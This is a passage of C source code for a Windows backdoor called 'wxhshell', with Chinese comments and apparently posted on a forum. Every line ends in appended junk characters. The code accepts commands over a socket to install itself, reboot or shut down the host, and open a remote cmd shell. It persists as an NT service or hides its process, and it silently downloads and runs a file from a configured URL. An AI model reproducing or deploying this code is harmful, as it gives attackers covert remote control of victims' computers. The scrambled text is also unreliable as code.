      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  IOES3  
    break; tS/APSY  
  } _(s|Q  
  // 安装 j]F3[gpc  
  case 'i': { nF y7gA|  
    if(Install()) 9C'+~<l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iqKfMoy5  
    else xA1pDrfC/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lJQl$Wx^  
    break; ]~x/8%e76  
    } J3}C T  
  // 卸载 DdZ_2B2  
  case 'r': { ~Wd8>a{w  
    if(Uninstall()) ~322dG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8\t7}8f  
    else [-94=|S @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K dQ|$t  
    break; Nm :lC%>X  
    } v@1Jh ns  
  // 显示 wxhshell 所在路径 {_N(S]Z  
  case 'p': { 7Z:l;%]K  
    char svExeFile[MAX_PATH]; Evgq}3  
    strcpy(svExeFile,"\n\r"); +A3\Hj&W  
      strcat(svExeFile,ExeFile); E0%Y%PQ**{  
        send(wsh,svExeFile,strlen(svExeFile),0); "YU~QOGx@  
    break; [ #fqyg  
    } (dnc7KrM  
  // 重启 y/*Tvb #TJ  
  case 'b': { :v ~q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bH]!~[  
    if(Boot(REBOOT)) gG>^h1_o~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gM[ J'DMW  
    else { XQ y|t"Vq>  
    closesocket(wsh); tl#s:  
    ExitThread(0); f;dU72]q+  
    } qCT\rZU  
    break; }n8;A;axi  
    } k"-#ox!  
  // 关机 6HQwL\r79  
  case 'd': { #mxfU>vQ:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nezbmpL4  
    if(Boot(SHUTDOWN)) ;XuE Mq,Di  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "lb!m9F{  
    else { [:'?}p  
    closesocket(wsh); zg Ti Az  
    ExitThread(0); euC,]n.  
    } $ !=:ES  
    break; RIx6& 7$  
    } Upen/1bA  
  // 获取shell 5!p'n#_  
  case 's': { *dgN pJ 9  
    CmdShell(wsh); n:] 1^wX#  
    closesocket(wsh); 6;V 1PK>9  
    ExitThread(0); (ZsR=:9(  
    break; {-qTU6  
  } k;X1x65uP  
  // 退出 Lxrn#Z eM  
  case 'x': { N'.+ezZ;h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vtk|WV?>P+  
    CloseIt(wsh); b;ZAz  
    break; Uwa1)Lwn  
    } ]iX$p~riH  
  // 离开 nmrk-#._@9  
  case 'q': { H.K`#W&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YJsi5  
    closesocket(wsh); IQv>{h}  
    WSACleanup(); F x8)jBB_  
    exit(1); brot&S2P><  
    break; y$NG..S  
        } T0jJp7O  
  } &|] ^ u/  
  } `^{P,N>X  
f d5~'2  
  // 提示信息 ~Wv?p4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PCjY,O  
} F tjm@:X  
  } i(rY'o2 BN  
UlytxWkUX  
  return; *h6i9V%'  
} {*Pp^ r  
=<xbE;,0  
// shell模块句柄 s6uAF(4,  
int CmdShell(SOCKET sock) ry"zec B  
{  CVp<SS(  
STARTUPINFO si; 8?XZF[D  
ZeroMemory(&si,sizeof(si)); BZ9iy~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; | &vuK9q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2=EKAg=S  
PROCESS_INFORMATION ProcessInfo; l-EQh*!j  
char cmdline[]="cmd"; w4a7c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *Cw2h  
  return 0; X3yr6J[ ^  
} Y[4B{  
ba13^;fm#  
// 自身启动模式 Z ngJ9js  
int StartFromService(void) ibyA~YUN/  
{ 566Qik w2  
typedef struct lH.2H  
{ ri ~2t3gg  
  DWORD ExitStatus; .<dmdqk]  
  DWORD PebBaseAddress; /jD'o>  
  DWORD AffinityMask; ~l~g0J  
  DWORD BasePriority; @@jdF-Utj;  
  ULONG UniqueProcessId; L8ke*O$  
  ULONG InheritedFromUniqueProcessId; r8rR_ M{P  
}   PROCESS_BASIC_INFORMATION; ZI7<E  
jLSZ#H  
PROCNTQSIP NtQueryInformationProcess; Ay]5GA!W+  
xTT>3Fj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #ZA YP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "T|\  
s9iM hCu|  
  HANDLE             hProcess; c+=&5=i[3  
  PROCESS_BASIC_INFORMATION pbi; 1oPT8)[U  
)Yml'?V"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uc_ X;M;  
  if(NULL == hInst ) return 0; q@:&^CS  
_q 8m$4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k&b>-QP6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h.*|4;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a0R]hENC  
ioggD  
  if (!NtQueryInformationProcess) return 0; rAKd f??  
rzu^br9X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ju<D7  
  if(!hProcess) return 0; {\B!Rjt[T  
PO&`r r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V~;YV]1Y  
:R)IaJ6)  
  CloseHandle(hProcess); \cG'3\GI  
|($pXVLH`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o&]qjFo\m  
if(hProcess==NULL) return 0; DjIs"5Iei  
C1=[\c~jw  
HMODULE hMod; nFqMS|EN  
char procName[255]; c\Dv3bF  
unsigned long cbNeeded; B !XT:.+  
t.cplJF&Ue  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rhrlEf@  
QUt!fF@t  
  CloseHandle(hProcess); ?Rdi"{.wI  
;bX{7j  
if(strstr(procName,"services")) return 1; // 以服务启动 ;>~iCF k]?  
<x/&Ml+  
  return 0; // 注册表启动 CVm*Q[5s"  
} (< h,R@:  
*b&|  
// 主模块 %X3T<3<  
int StartWxhshell(LPSTR lpCmdLine) { }z7N~  
{ x RfX:3  
  SOCKET wsl; 6vDgM fw  
BOOL val=TRUE; >_@J&vC  
  int port=0; {?8rvAj Y  
  struct sockaddr_in door; w^~,M3(+)1  
-8]$a6`{_  
  if(wscfg.ws_autoins) Install(); 5q\]]LV>  
zIu1oF4[  
port=atoi(lpCmdLine); 9I,Trk@&  
uZfo[_g0S  
if(port<=0) port=wscfg.ws_port; )lZb=t  
U-@\V1;C  
  WSADATA data; ~%]+5^Ka]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =_5-z|<  
n'SnqJ&}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j9%=^ZoQj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;yr 'K  
  door.sin_family = AF_INET; hGsY u)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m 9r X  
  door.sin_port = htons(port); |.YL 2\  
37VSE@Z+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w0pH|$"/P  
closesocket(wsl); [,VD^\  
return 1; &a V`u?'e  
} 8"+Kz  
!(/dbHB  
  if(listen(wsl,2) == INVALID_SOCKET) { 'Ag?#vB  
closesocket(wsl); =cxjb,r  
return 1; j sm{|'  
} [l0>pHl@  
  Wxhshell(wsl); 4v;/"4)'  
  WSACleanup(); 9Z} -%Z[,)  
|1#*`2j\=9  
return 0; C&\#{m_1B  
kEi!q  
} Ay[6rUO  
o]@?QAu  
// 以NT服务方式启动 rAgb<D@,H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lwSA!W  
{ {q:6;yzxl  
DWORD   status = 0; wtK+\Qnb  
  DWORD   specificError = 0xfffffff; f mf(5  
alyWp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t\ ym4`"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -GH>12YP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [&51m^  
  serviceStatus.dwWin32ExitCode     = 0; i!(u4wTFF  
  serviceStatus.dwServiceSpecificExitCode = 0; !IcP O  
  serviceStatus.dwCheckPoint       = 0; RK< uAiU  
  serviceStatus.dwWaitHint       = 0; EW]rD  
$/K<hT_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A|7%j0T  
  if (hServiceStatusHandle==0) return; `ml  
13kl\ <6  
status = GetLastError(); EjrK.|I0  
  if (status!=NO_ERROR) ",Mr+;;:[  
{ iU+O(vi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qf;x~1efC4  
    serviceStatus.dwCheckPoint       = 0; XU_gvz  
    serviceStatus.dwWaitHint       = 0; P`^nNX]x+,  
    serviceStatus.dwWin32ExitCode     = status; 0-6rIdDTM  
    serviceStatus.dwServiceSpecificExitCode = specificError; {{qu:(_g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;X, A|m$(  
    return; a[I :^S  
  } Qhy!:\&1  
}Y:V&4DW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O |!cPB:  
  serviceStatus.dwCheckPoint       = 0; f}=>c|Do  
  serviceStatus.dwWaitHint       = 0; {u~JR(C:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6Z.Fyte  
} fN&@y$  
Kl_(4kQE_  
// 处理NT服务事件,比如:启动、停止 ~bf4_5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X lLG/N  
{ - ({h @  
switch(fdwControl) 42M_  %l_  
{ -Gy=1W`09  
case SERVICE_CONTROL_STOP: w$iQ,--  
  serviceStatus.dwWin32ExitCode = 0; "zj[v1K9-A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HA$X g j  
  serviceStatus.dwCheckPoint   = 0; 5\V""fH  
  serviceStatus.dwWaitHint     = 0; (1 (~r"4I  
  { gu|=uW K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qA0PGo  
  } w p\-LO~  
  return; ml@;ngmp.  
case SERVICE_CONTROL_PAUSE: -U*J5Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _iu~vU)r  
  break; P?p]sLrP  
case SERVICE_CONTROL_CONTINUE:  LAkBf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,?P<=M  
  break; \HXq~Y  
case SERVICE_CONTROL_INTERROGATE: ,p{naT%R  
  break; EHN(K-  
}; v*[UG^+)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4C/G &w&  
} _3(rwD  
63'm @oZ  
// 标准应用程序主函数 ~UJ.A<>Fh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) URceq2_  
{ 3Q'vVNFh<  
.fbY2b([  
// 获取操作系统版本 ^s6}[LDW>@  
OsIsNt=GetOsVer(); Fei5'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .W^B(y(tA  
"\i H/  
  // 从命令行安装 K[kK8i+(  
  if(strpbrk(lpCmdLine,"iI")) Install(); D(l,Z  
3_<l`6^Ns/  
  // 下载执行文件 ,A'| Z  
if(wscfg.ws_downexe) { -'Ay(h   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +: x[cK  
  WinExec(wscfg.ws_filenam,SW_HIDE); PChew3  
} [I=|"Ic~  
7mq&]4-G  
if(!OsIsNt) { y_X jY  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q66 +  
HideProc(); JcUU#>  
StartWxhshell(lpCmdLine); ulxfxfd  
} g3].STz6w  
else jB8Q% {%  
  if(StartFromService()) ]f#s`.A~  
  // 以服务方式启动 VE-l6@`  
  StartServiceCtrlDispatcher(DispatchTable); XHekz6_  
else kN.;;HFq#  
  // 普通方式启动 )O"E#%  
  StartWxhshell(lpCmdLine); M#; ks9  
H,]8[ qT<  
return 0; Bhxs(NO  
}
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只看该作者 1 发表于: 2006-10-10
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